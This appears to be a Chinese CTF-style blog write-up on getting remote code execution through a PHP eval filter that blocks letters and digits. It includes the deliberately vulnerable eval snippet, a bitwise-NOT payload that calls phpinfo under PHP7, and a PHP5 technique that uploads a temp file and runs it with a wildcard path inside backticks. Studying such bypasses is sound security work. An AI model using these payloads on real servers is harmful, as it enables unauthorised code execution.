当前位置: 首页 > news >正文

RCE---无字母数字webshell

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

分析代码:传参不大于35,且传参不能为字母数字下划线与&符

这种情况怎那么进行命令执行?

php7

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7后可以。

所以可以在$a的位置写我们想要执行的函数,但这里正则过滤了字母数字,怎么办?

取反

php中’~‘表示取反,而取反之后大都是不可见字符,如:

<?php
var_dump(urlencode(~'system'));

取反后的值为%8C%86%8C%8B%9A%92

解码后

所以答案基本上就出来了,

<?php
var_dump(urlencode(~'phpinfo'));

payload=(~%8F%97%8F%96%91%99%90)();

 

成功

php5

前面说过,($a)()这种方式实在php7之后才可以使用,那php5下怎么办?

同样的方法php5无法执行

在linux下,使用点+空格+文件名可以在没有执行权限的情况下执行文件,那么我们是否可以通过上传文件然后执行的方式来实现呢?

根据验证,通过post上传的文件会放在/tem/php******,后面的字符是随机的,那么问题来了,怎么匹配到这个文件?

通配符

很多人知道linux通配符有?和*,可以使用通配符来进行匹配,但经过验证,无法准确匹配

 但其实还要一直通配符

[^a]表示这里不为a

[0-9]表示0-9这个范围

而注意到linux中文件基本都是小写,我们上传的文件中后几位是随机的,可能包含大写,所以我们就只需要利用[]表示出大写字母就可以了

在ascii表中,大写字母处于@-[之间,所以很明确了,使用/???/???????[@-[]来进行匹配

执行

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form action="web.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form>
</body>
</html>

写一个form表单上传文件到web.php

使用bp抓包,抓一个上传文件的包和web.php的包

上传:

 web.php

把第一个包的post内容放到web.php中

 发送请求

成功执行

 payload

至于payload为什么要写成

?><?=`. /???/????????[@-[]`;?>

php关于eval这样写的

 而<?=是在php5.4之后<? php echo的一种简写

因为php无法执行linux命令,而反引号可以,所以后面加上了反引号

http://www.lryc.cn/news/421539.html

相关文章:

  • 有意思的漏洞复现与分析一
  • 力扣题解(按身高排序)
  • Redis的六种淘汰策略详解
  • vue3中 ref 和 reactive 的区别
  • 《单例模式的深度解读:实现方式、破坏情况与利弊权衡》
  • 010607电压源和电流源受控源
  • 快乐数求解
  • 运维高级内容--为端口做标记、制定调度规则
  • 后端Web之HTTP协议基础介绍
  • 深入解析Nginx限流策略:如何高效控制访问频率
  • 锂电池剩余寿命预测 | Matlab基于Transformer-GRU的锂电池剩余寿命预测
  • 深入理解Spring的IOC容器与依赖注入
  • Qt读写sysfs
  • 实景三维:解锁地理信息新维度,引领未来城市智慧之钥
  • 汽车免拆诊断案例 | 2010款劳斯莱斯古斯特车中央信息显示屏提示传动系统故障
  • 监督学习和无监督学习是什么?
  • YII2的errorHandler.errorAction失效原因
  • 已知p指向双向循环链表中的一个结点,其结点结构为data、prior、next三个域,写出算法change(p),交换p所指向的结点和它的前缀结点的顺序。
  • 什么是Tensor???为什么人工智能领域论文中经常出现这个名词
  • 爬虫练习_01
  • Datawhale X 魔搭 AI夏令营第四期 魔搭-AIGC方向 task02笔记
  • 多模态大语言模型的免训练视觉提示学习 ControlMLLM
  • Oracle|DM 常用|不常用 SQL大口袋
  • 嵌入式软件--模电基础 DAY 1
  • 【Nacos无压力源码领读】(二) 集成 LoadBalancer 与 OpenFeign
  • 《投资的原理》阅读笔记二——价值投资真是王者吗?
  • SSH、FTP、SFTP相关协议详解
  • C语言进阶——一文带你深度了解“C语言关键字”(中篇6)
  • 自建极简Ethercat主站-第8章 FOE基础功能实现
  • SQL Zoo 8.Using Null